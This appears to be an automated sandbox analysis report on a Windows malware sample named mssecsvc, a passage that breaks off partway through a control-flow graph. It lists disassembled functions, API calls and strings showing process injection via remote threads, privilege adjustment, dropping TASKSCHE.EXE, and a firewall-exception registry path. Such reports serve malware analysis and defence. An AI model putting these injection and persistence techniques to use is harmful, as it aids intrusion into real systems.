                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 213 ac252f-ac2573 NtOpenSection
                                                                                          APIs
                                                                                          • NtOpenSection.NTDLL(?,0000000E), ref: 00AC255E
                                                                                          Strings
                                                                                          • \BaseNamedObjects\mdatVt, xrefs: 00AC254B
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: OpenSection
                                                                                          • String ID: \BaseNamedObjects\mdatVt
                                                                                          • API String ID: 1950954290-3892990589
                                                                                          • Opcode ID: 070b698a65d812778bebda462e03455ac2d4d74c25fc029a23958a9dd811b266
                                                                                          • Instruction ID: cc492c20b74137972e1aeb42a549193fdcd5baff80c1f90c3202c4eb3a6ea2fd
                                                                                          • Opcode Fuzzy Hash: 070b698a65d812778bebda462e03455ac2d4d74c25fc029a23958a9dd811b266
                                                                                          • Instruction Fuzzy Hash: A1E0DFF1342105BAFB288B19CC07FB7220DCBC0600F048604F918DA090E6F4AF104278
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC2574 Relevance: 3.1, APIs: 2, Instructions: 66nativeCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 214 ac2574-ac257c call ac252f 217 ac2661-ac2664 214->217 218 ac2582-ac25b4 NtMapViewOfSection FindCloseChangeNotification 214->218 218->217 219 ac25ba-ac25c0 218->219 220 ac25ce-ac25d8 219->220 221 ac25c2-ac25cb 219->221 222 ac25ef-ac262a call ac2477 * 3 220->222 223 ac25da-ac25e2 220->223 221->220 232 ac262c-ac2632 call ac2477 222->232 233 ac2637-ac263f 222->233 223->222 224 ac25e4-ac25ea call ac2477 223->224 224->222 232->233 235 ac264c-ac2654 233->235 236 ac2641-ac2647 call ac2477 233->236 235->217 238 ac2656-ac265c call ac2477 235->238 236->235 238->217
                                                                                          APIs
                                                                                            • Part of subcall function 00AC252F: NtOpenSection.NTDLL(?,0000000E), ref: 00AC255E
                                                                                          • NtMapViewOfSection.NTDLL(00000000,?,?,00000000,0000B7C4,00000000,?,00000002,00100000,00000040), ref: 00AC25A4
                                                                                          • FindCloseChangeNotification.KERNELBASE(00000000,0000B7C4,00000000,?,00000002,00100000,00000040,00000000,0000B7C4,00000000,?,00AC0815), ref: 00AC25AC
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Section$ChangeCloseFindNotificationOpenView
                                                                                          • String ID:
                                                                                          • API String ID: 1694706092-0
                                                                                          • Opcode ID: 7e6d81ae67240a40e11905e7904a542b9946b97cc322a4af05470e0a41c17acf
                                                                                          • Instruction ID: 29aab9b1342b60392af6199293618f237a779856f747a9fba381fffd22353668
                                                                                          • Opcode Fuzzy Hash: 7e6d81ae67240a40e11905e7904a542b9946b97cc322a4af05470e0a41c17acf
                                                                                          • Instruction Fuzzy Hash: 5E211870300646BBEB28DF25CD56FAA7369EF80B44F41011CF8198E194DBB6AE24C728
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC1422 Relevance: 3.0, APIs: 2, Instructions: 38nativeCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 240 ac1422-ac1474 LookupPrivilegeValueA NtAdjustPrivilegesToken
                                                                                          APIs
                                                                                          • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00AC145A
                                                                                          • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 00AC146A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                                                                                          • String ID:
                                                                                          • API String ID: 3615134276-0
                                                                                          • Opcode ID: 4d961b29825b6918877cf0b8ca3bbdf1a1a783037955428b050f6265267c3a26
                                                                                          • Instruction ID: ddbff97e699881e74d61e2820170bd54818263a6fff0c1519b9bac5ac29647fb
                                                                                          • Opcode Fuzzy Hash: 4d961b29825b6918877cf0b8ca3bbdf1a1a783037955428b050f6265267c3a26
                                                                                          • Instruction Fuzzy Hash: 5BF0AE36542510BBD7205F56CD8EED77F28EF533A0F144556F4484E151C2624BA5D3F4
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC2477 Relevance: 3.0, APIs: 2, Instructions: 25nativeCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 241 ac2477-ac24ad NtProtectVirtualMemory NtWriteVirtualMemory
                                                                                          APIs
                                                                                          • NtProtectVirtualMemory.NTDLL(?,?,?,00000040), ref: 00AC249B
                                                                                          • NtWriteVirtualMemory.NTDLL ref: 00AC24A4
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: MemoryVirtual$ProtectWrite
                                                                                          • String ID:
                                                                                          • API String ID: 151266762-0
                                                                                          • Opcode ID: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                                                                                          • Instruction ID: 6bbb67ea70d6ee96dfa5f1d7b4d314b28acc786a60d934acbd3f762ecc45b662
                                                                                          • Opcode Fuzzy Hash: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                                                                                          • Instruction Fuzzy Hash: 2AE012E07502007FF5185F55DC5FF7B391DDB41751F410208FA0A981C4F9A15E18467A
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC144A Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 242 ac144a-ac1474 LookupPrivilegeValueA NtAdjustPrivilegesToken
                                                                                          APIs
                                                                                          • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00AC145A
                                                                                          • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 00AC146A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                                                                                          • String ID:
                                                                                          • API String ID: 3615134276-0
                                                                                          • Opcode ID: f45ad7484d04f34a0af0f423c52b42987f710650b5115a9fa6d287fad7b05342
                                                                                          • Instruction ID: ee32c209e3d0a2de55b6acbdbca8a3d00d8b73f2470e3acbbab87dcaf3c2c19a
                                                                                          • Opcode Fuzzy Hash: f45ad7484d04f34a0af0f423c52b42987f710650b5115a9fa6d287fad7b05342
                                                                                          • Instruction Fuzzy Hash: F2D06731643034BBD6312A568C0EEE77D1DEF577A0F015041F9089A1A1C5A28EA1C7F5
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC07AC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 62processthreadinjectionCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 133 ac07ac-ac07bf call ac144a FreeLibrary FindCloseChangeNotification 136 ac07c5-ac07e4 CreateToolhelp32Snapshot Process32First 133->136 137 ac07eb-ac07f5 Process32Next 136->137 138 ac0865-ac0872 FindCloseChangeNotification 137->138 139 ac07f7-ac07fb 137->139 141 ac05a9-ac05d1 FindCloseChangeNotification 138->141 139->137 140 ac07fd-ac080d OpenProcess 139->140 140->137 142 ac080f 140->142 145 ac05d3-ac05fc SetProcessAffinityMask call ac05f2 141->145 144 ac0810-ac0818 call ac2574 142->144 150 ac085c-ac0863 FindCloseChangeNotification 144->150 151 ac081a-ac0820 144->151 152 ac05fe-ac061c 145->152 153 ac0621-ac0623 145->153 150->137 151->150 154 ac0822-ac0832 151->154 152->153 156 ac064c-ac0652 153->156 157 ac0625-ac0630 153->157 154->150 155 ac0834-ac084b CreateRemoteThread 154->155 155->150 158 ac084d-ac0857 call ac05ba 155->158 156->141 161 ac0658-ac0671 156->161 159 ac0639-ac0648 157->159 160 ac0632 157->160 158->150 159->156 160->159 161->141 163 ac0677-ac0690 161->163 163->141 164 ac0696-ac069c 163->164 165 ac069e-ac06b1 164->165 166 ac06d8-ac06de 164->166 165->141 167 ac06b7-ac06bd 165->167 168 ac06fc-ac0715 lstrcpyW call ac24ae 166->168 169 ac06e0-ac06f3 166->169 167->166 170 ac06bf-ac06d2 167->170 174 ac074c-ac0775 NtMapViewOfSection 168->174 175 ac0717-ac0746 GetPEB lstrcpyW lstrcatW call ac24ae 168->175 169->168 171 ac06f5 169->171 170->141 170->166 171->168 174->141 177 ac077b-ac078f call ac0305 NtOpenProcessToken 174->177 175->141 175->174 177->136 181 ac0791-ac07a3 call ac115d call ac07ac 177->181 186 ac080e-ac080f 181->186 187 ac07a5 181->187 186->144 187->144 188 ac07a7-ac07e4 CreateToolhelp32Snapshot Process32First 187->188 188->137
                                                                                          APIs
                                                                                            • Part of subcall function 00AC144A: LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00AC145A
                                                                                            • Part of subcall function 00AC144A: NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 00AC146A
                                                                                          • FindCloseChangeNotification.KERNELBASE(?), ref: 00AC05AD
                                                                                          • FreeLibrary.KERNEL32(73E60000,?,00AC079B,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 00AC07B8
                                                                                          • FindCloseChangeNotification.KERNELBASE(?,?,00AC079B,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 00AC07BF
                                                                                          • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00AC07C9
                                                                                          • Process32First.KERNEL32 ref: 00AC07DC
                                                                                          • Process32Next.KERNEL32 ref: 00AC07ED
                                                                                          • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00AC0805
                                                                                          • CreateRemoteThread.KERNELBASE(?,00000000,00000000,-00003C38,00000002,00000000), ref: 00AC0842
                                                                                          • FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00AC085D
                                                                                          • FindCloseChangeNotification.KERNELBASE ref: 00AC086C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: ChangeCloseFindNotification$CreateProcess32$AdjustFirstFreeLibraryLookupNextOpenPrivilegePrivilegesProcessRemoteSnapshotThreadTokenToolhelp32Value
                                                                                          • String ID: csrs
                                                                                          • API String ID: 238827593-2321902090
                                                                                          • Opcode ID: cb63e8b7f3a99e4be573476feab88a83968f02cd0365d5f729e494595204ac2c
                                                                                          • Instruction ID: 210692ee3e3c0a2648e371233e90cf56f5d7bbaf33f6bfa968fa192c927ddead
                                                                                          • Opcode Fuzzy Hash: cb63e8b7f3a99e4be573476feab88a83968f02cd0365d5f729e494595204ac2c
                                                                                          • Instruction Fuzzy Hash: 57112B30601205FFFB255F21CD4AFBF3A6DEF44701F01402DF94A9A081CAB49B019AAA
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA4499 Relevance: 7.6, APIs: 5, Instructions: 83fileCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 190 7fea4499-7fea44a1 191 7fea44c8-7fea4504 CreateFileA 190->191 192 7fea44a3-7fea44ad GetFileAttributesA 190->192 199 7fea4506-7fea451f 191->199 200 7fea4527-7fea454d 191->200 192->191 193 7fea44af-7fea44c0 SetFileAttributesA 192->193 193->191 195 7fea44c2 193->195 195->191 199->200 203 7fea4521 199->203 205 7fea4558-7fea4582 CreateFileMappingA 200->205 206 7fea454f-7fea4556 200->206 203->200 209 7fea458d-7fea45a2 MapViewOfFile 205->209 210 7fea4584-7fea458b 205->210 206->205 212 7fea45a8-7fea45ae 209->212 210->209
                                                                                          APIs
                                                                                          • GetFileAttributesA.KERNELBASE(?,65676E61,?,?,7FEA4406,?,7FEA43E8,?,7FEA43C4), ref: 7FEA44A4
                                                                                          • SetFileAttributesA.KERNELBASE(?,00000000,?,65676E61,?,?,7FEA4406,?,7FEA43E8,?,7FEA43C4), ref: 7FEA44B8
                                                                                          • CreateFileA.KERNELBASE(?,C0000000,00000001,00000000,00000003,00000000,00000000,?,65676E61,?,?,7FEA4406,?,7FEA43E8,?,7FEA43C4), ref: 7FEA44ED
                                                                                          • CreateFileMappingA.KERNEL32(?,00000000,00000004,00000000,00000000,00000000,?,C0000000,00000001,00000000,00000003,00000000,00000000,?,65676E61), ref: 7FEA4565
                                                                                          • MapViewOfFile.KERNELBASE(00000000,000F001F,00000000,00000000,00000000,?,C0000000,00000001,00000000,00000003,00000000,00000000,?,65676E61), ref: 7FEA459A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: File$AttributesCreate$MappingView
                                                                                          • String ID:
                                                                                          • API String ID: 1961427682-0
                                                                                          • Opcode ID: a597af1445ea8736db27a55b35799f807b5cdfd84ba473e7882835a9cfdd7254
                                                                                          • Instruction ID: 5241e261c6a8b1a9cf08daa61a461fa69fc83fe37cd40be9c894cf7c8eac2c63
                                                                                          • Opcode Fuzzy Hash: a597af1445ea8736db27a55b35799f807b5cdfd84ba473e7882835a9cfdd7254
                                                                                          • Instruction Fuzzy Hash: E62112B0205309BFEF219E658D45BFA366DAF01619F500229E91A9E0A4D7F5AF058728
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC05BA Relevance: 1.3, APIs: 1, Instructions: 7sleepCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 243 ac05ba-ac05bd 244 ac05bf-ac05c7 Sleep 243->244 245 ac05c9 243->245 244->243
                                                                                          APIs
                                                                                          • Sleep.KERNELBASE(0000000A,00AC085C,?,00000000,00000000,-00003C38,00000002,00000000,?,00000000), ref: 00AC05C1
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Sleep
                                                                                          • String ID:
                                                                                          • API String ID: 3472027048-0
                                                                                          • Opcode ID: 3c1f989dfd13240381299ec7adf5382b251643946d8aa86ca05208ab7bb78418
                                                                                          • Instruction ID: 9cc8f0a8d01680993bf63e34577e8a49fd1a228169588fba9a0571ccc177712d
                                                                                          • Opcode Fuzzy Hash: 3c1f989dfd13240381299ec7adf5382b251643946d8aa86ca05208ab7bb78418
                                                                                          • Instruction Fuzzy Hash: DDB0127C240308D7DA140A10440DF041A347F00B11FE2405DE2074C0C007E407001C09
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Non-executed Functions

                                                                                          Function 7FEA3C3D Relevance: 46.0, APIs: 21, Strings: 5, Instructions: 487libraryloaderCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 403 7fea3c3d-7fea3c59 404 7fea3c5b-7fea3c63 403->404 405 7fea3ca9-7fea3cb3 call 7fea252f 403->405 406 7fea3c64-7fea3c67 404->406 413 7fea3cfb-7fea3d43 GetSystemDirectoryA call 7fea3d1f 405->413 414 7fea3cb5-7fea3cce call 7fea3cc2 405->414 408 7fea3c69-7fea3c6e 406->408 409 7fea3c93 406->409 408->409 411 7fea3c70-7fea3c91 408->411 409->406 412 7fea3c95-7fea3d43 GetWindowsDirectoryA call 7fea3d36 409->412 411->409 424 7fea3d45-7fea3d72 GetProcAddress LoadLibraryA 412->424 413->424 422 7fea3cd4-7fea3cdc GetProcAddress 414->422 423 7fea3ccf call 7fea26d4 414->423 425 7fea3cde 422->425 426 7fea3ce0-7fea3d43 call 7fea3cf0 422->426 423->422 427 7fea3d7d-7fea3dc0 call 7fea01cb GetTickCount call 7fea3b76 424->427 428 7fea3d78 call 7fea10ce 424->428 425->426 426->424 435 7fea3dc8-7fea3dcd call 7fea3b76 427->435 436 7fea3dc2 427->436 428->427 439 7fea3dcf-7fea3de6 435->439 436->435 440 7fea3de8-7fea3df8 call 7fea63a0 call 7fea273c 439->440 445 7fea3dfa-7fea3dfc 440->445 446 7fea3dfe-7fea3e1a call 7fea63a0 440->446 447 7fea3e1b-7fea3e1c 445->447 446->447 447->440 450 7fea3e1e-7fea3e24 447->450 450->439 451 7fea3e26-7fea3e30 call 7fea273c 450->451 454 7fea3e3f-7fea3e78 call 7fea273c GetVolumeInformationA 451->454 455 7fea3e32-7fea3e3a call 7fea2750 451->455 459 7fea3e7a-7fea3e80 454->459 460 7fea3e82-7fea3e88 454->460 455->454 461 7fea3e91-7fea3e9e 459->461 460->461 462 7fea3e8a 460->462 463 7fea3ea4-7fea3ec8 call 7fea3eb5 461->463 464 7fea3f25 461->464 462->461 465 7fea3f2f 463->465 473 7fea3eca-7fea3f1e GetModuleFileNameA wsprintfA 463->473 464->465 467 7fea3f4f-7fea3f73 call 7fea3f60 465->467 468 7fea3f31-7fea3f49 CreateThread CloseHandle 465->468 474 7fea3f7e-7fea3fad call 7fea3f8f 467->474 475 7fea3f79 call 7fea10ce 467->475 468->467 473->464 479 7fea3f20 call 7fea3405 473->479 480 7fea3faf-7fea3fd1 474->480 481 7fea3fd6-7fea3ff8 CreateThread CloseHandle 474->481 475->474 479->464 483 7fea3ffa-7fea400b CreateEventA 480->483 484 7fea3fd3 480->484 481->483 485 7fea4012-7fea402a call 7fea37fa 483->485 484->481 488 7fea402c-7fea402f 485->488 489 7fea4031-7fea4044 call 7fea3b90 485->489 488->489 490 7fea404c-7fea4054 488->490 495 7fea404a 489->495 496 7fea42be-7fea42c5 489->496 493 7fea4056-7fea4063 lstrlen 490->493 494 7fea4065-7fea406e gethostbyname 490->494 493->493 493->494 497 7fea4074-7fea407b 494->497 498 7fea4315-7fea431b 494->498 501 7fea4081-7fea40a0 socket 495->501 499 7fea4320-7fea4322 RtlExitUserThread 496->499 500 7fea42c7-7fea42ce 496->500 497->501 498->485 502 7fea42e2-7fea42e9 500->502 503 7fea42d0-7fea42dc SetEvent 500->503 501->496 504 7fea40a6-7fea40b9 connect 501->504 505 7fea42eb 502->505 506 7fea42f2-7fea4310 Sleep ResetEvent 502->506 503->502 507 7fea40bf-7fea416e call 7fea273c call 7fea2750 GetVersionExA call 7fea2750 call 7fea3358 call 7fea4178 504->507 508 7fea42b7-7fea42b8 closesocket 504->508 505->506 506->485 519 7fea4170 507->519 520 7fea4195-7fea41a5 call 7fea3358 507->520 508->496 521 7fea4192-7fea4194 519->521 522 7fea4172-7fea418c wsprintfA 519->522 526 7fea41c3-7fea41ca 520->526 527 7fea41a7-7fea41bd CreateThread CloseHandle 520->527 521->520 522->521 524 7fea418e 522->524 524->521 528 7fea41d0-7fea41eb 526->528 527->526 530 7fea41ed-7fea41f4 528->530 531 7fea4210-7fea4214 528->531 530->531 532 7fea41f6-7fea4207 GetTickCount 530->532 531->508 533 7fea421a-7fea421c 531->533 532->531 534 7fea4209 532->534 535 7fea421e-7fea4236 533->535 534->531 536 7fea423b-7fea4243 535->536 537 7fea4238 535->537 536->535 538 7fea4245 536->538 537->536 539 7fea424b-7fea424f 538->539 540 7fea4261-7fea4263 539->540 541 7fea4251-7fea4258 call 7fea2f08 539->541 542 7fea4265-7fea426f 540->542 541->508 547 7fea425a 541->547 544 7fea4274-7fea4282 call 7fea6541 call 7fea655b 542->544 544->528 552 7fea4288-7fea4292 Sleep 544->552 547->542 549 7fea425c-7fea425f 547->549 549->539 552->544 553 7fea4294-7fea42a5 GetTickCount 552->553 553->528 554 7fea42ab-7fea42b2 553->554 554->508 554->528
                                                                                          APIs
                                                                                          • GetWindowsDirectoryA.KERNEL32(C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe,00000104), ref: 7FEA3CA1
                                                                                          • GetProcAddress.KERNEL32(00000000,00000002), ref: 7FEA3CD4
                                                                                          • GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                                                                                          • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                                                                                          • GetTickCount.KERNEL32 ref: 7FEA3D93
                                                                                          • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                                                                                          • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe,000000C8), ref: 7FEA3EE2
                                                                                          Strings
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 7FEA3CA0, 7FEA3D06, 7FEA3D16, 7FEA3EDF, 7FEA3EF4, 7FEA3F0B, 7FEA4195, 7FEA41DB
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3EF6, 7FEA3F08
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                                                                                          • ADVAPI32.DLL, xrefs: 7FEA3D5E
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AddressProc$CountDirectoryFileInformationLibraryLoadModuleNameTickVolumeWindows
                                                                                          • String ID: ADVAPI32.DLL$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 1749273276-417985840
                                                                                          • Opcode ID: 11d8e70a6ae69d735f2b35264cad3f706a3a81fbd19f45a2bd40c521d43324e7
                                                                                          • Instruction ID: 6856dd48e4ced1a9f2286be03aa6e2628cc93b41bccce76cbf3563a38adebb89
                                                                                          • Opcode Fuzzy Hash: 11d8e70a6ae69d735f2b35264cad3f706a3a81fbd19f45a2bd40c521d43324e7
                                                                                          • Instruction Fuzzy Hash: 10020571419348BFEB229F748C4ABEA7BACEF41304F004559EC4A9E081D7F66F4597A2
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC3C3D Relevance: 46.0, APIs: 21, Strings: 5, Instructions: 487libraryloaderCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 251 ac3c3d-ac3c59 252 ac3ca9-ac3cb3 call ac252f 251->252 253 ac3c5b-ac3c63 251->253 260 ac3cfb-ac3d43 GetSystemDirectoryA call ac3d1f 252->260 261 ac3cb5-ac3cce call ac3cc2 252->261 255 ac3c64-ac3c67 253->255 257 ac3c69-ac3c6e 255->257 258 ac3c93 255->258 257->258 262 ac3c70-ac3c91 257->262 258->255 259 ac3c95-ac3d43 GetWindowsDirectoryA call ac3d36 258->259 272 ac3d45-ac3dc0 GetProcAddress LoadLibraryA call ac10ce call ac01cb GetTickCount call ac3b76 259->272 260->272 269 ac3cd4-ac3cdc GetProcAddress 261->269 270 ac3ccf call ac26d4 261->270 262->258 274 ac3cde 269->274 275 ac3ce0-ac3d43 call ac3cf0 269->275 270->269 283 ac3dc8-ac3dcd call ac3b76 272->283 284 ac3dc2 272->284 274->275 275->272 287 ac3dcf-ac3de6 283->287 284->283 288 ac3de8-ac3df8 call ac63a0 call ac273c 287->288 293 ac3dfe-ac3e1a call ac63a0 288->293 294 ac3dfa-ac3dfc 288->294 295 ac3e1b-ac3e1c 293->295 294->295 295->288 297 ac3e1e-ac3e24 295->297 297->287 299 ac3e26-ac3e30 call ac273c 297->299 302 ac3e3f-ac3e78 call ac273c GetVolumeInformationA 299->302 303 ac3e32-ac3e3a call ac2750 299->303 307 ac3e7a-ac3e80 302->307 308 ac3e82-ac3e88 302->308 303->302 309 ac3e91-ac3e9e 307->309 308->309 310 ac3e8a 308->310 311 ac3ea4-ac3ec3 call ac3eb5 309->311 312 ac3f25 309->312 310->309 318 ac3f1c-ac3f1e 311->318 319 ac3ec6-ac3ec8 311->319 313 ac3f2f 312->313 315 ac3f4f-ac3fd1 call ac3f60 call ac10ce call ac3f8f 313->315 316 ac3f31-ac3f49 CreateThread CloseHandle 313->316 331 ac3ffa-ac400b CreateEventA 315->331 332 ac3fd3-ac3ff8 CreateThread CloseHandle 315->332 316->315 318->312 321 ac3f20 call ac3405 318->321 319->313 323 ac3eca-ac3f14 GetModuleFileNameA wsprintfA 319->323 321->312 323->318 333 ac4012-ac402a call ac37fa 331->333 332->331 336 ac402c-ac402f 333->336 337 ac4031-ac4044 call ac3b90 333->337 336->337 338 ac404c-ac4054 336->338 345 ac42be-ac42c5 337->345 346 ac404a 337->346 340 ac4065-ac406e gethostbyname 338->340 341 ac4056-ac4063 lstrlen 338->341 343 ac4074-ac407b 340->343 344 ac4315-ac431b 340->344 341->340 341->341 347 ac4081-ac40a0 socket 343->347 344->333 348 ac42c7-ac42ce 345->348 349 ac4320-ac4322 RtlExitUserThread 345->349 346->347 347->345 352 ac40a6-ac40b9 connect 347->352 350 ac42d0-ac42dc SetEvent 348->350 351 ac42e2-ac42e9 348->351 350->351 353 ac42eb 351->353 354 ac42f2-ac4310 Sleep ResetEvent 351->354 355 ac40bf-ac416e call ac273c call ac2750 GetVersionExA call ac2750 call ac3358 call ac4178 352->355 356 ac42b7-ac42b8 closesocket 352->356 353->354 354->333 367 ac4195-ac41a5 call ac3358 355->367 368 ac4170 355->368 356->345 374 ac41a7-ac41bd CreateThread CloseHandle 367->374 375 ac41c3-ac41ca 367->375 369 ac4192-ac4194 368->369 370 ac4172-ac418c wsprintfA 368->370 369->367 370->369 372 ac418e 370->372 372->369 374->375 376 ac41d0-ac41eb 375->376 378 ac41ed-ac41f4 376->378 379 ac4210-ac4214 376->379 378->379 380 ac41f6-ac4207 GetTickCount 378->380 379->356 381 ac421a-ac421c 379->381 380->379 382 ac4209 380->382 383 ac421e-ac4236 381->383 382->379 384 ac4238 383->384 385 ac423b-ac4243 383->385 384->385 385->383 386 ac4245 385->386 387 ac424b-ac424f 386->387 388 ac4261-ac4263 387->388 389 ac4251-ac4258 call ac2f08 387->389 390 ac4265-ac426f 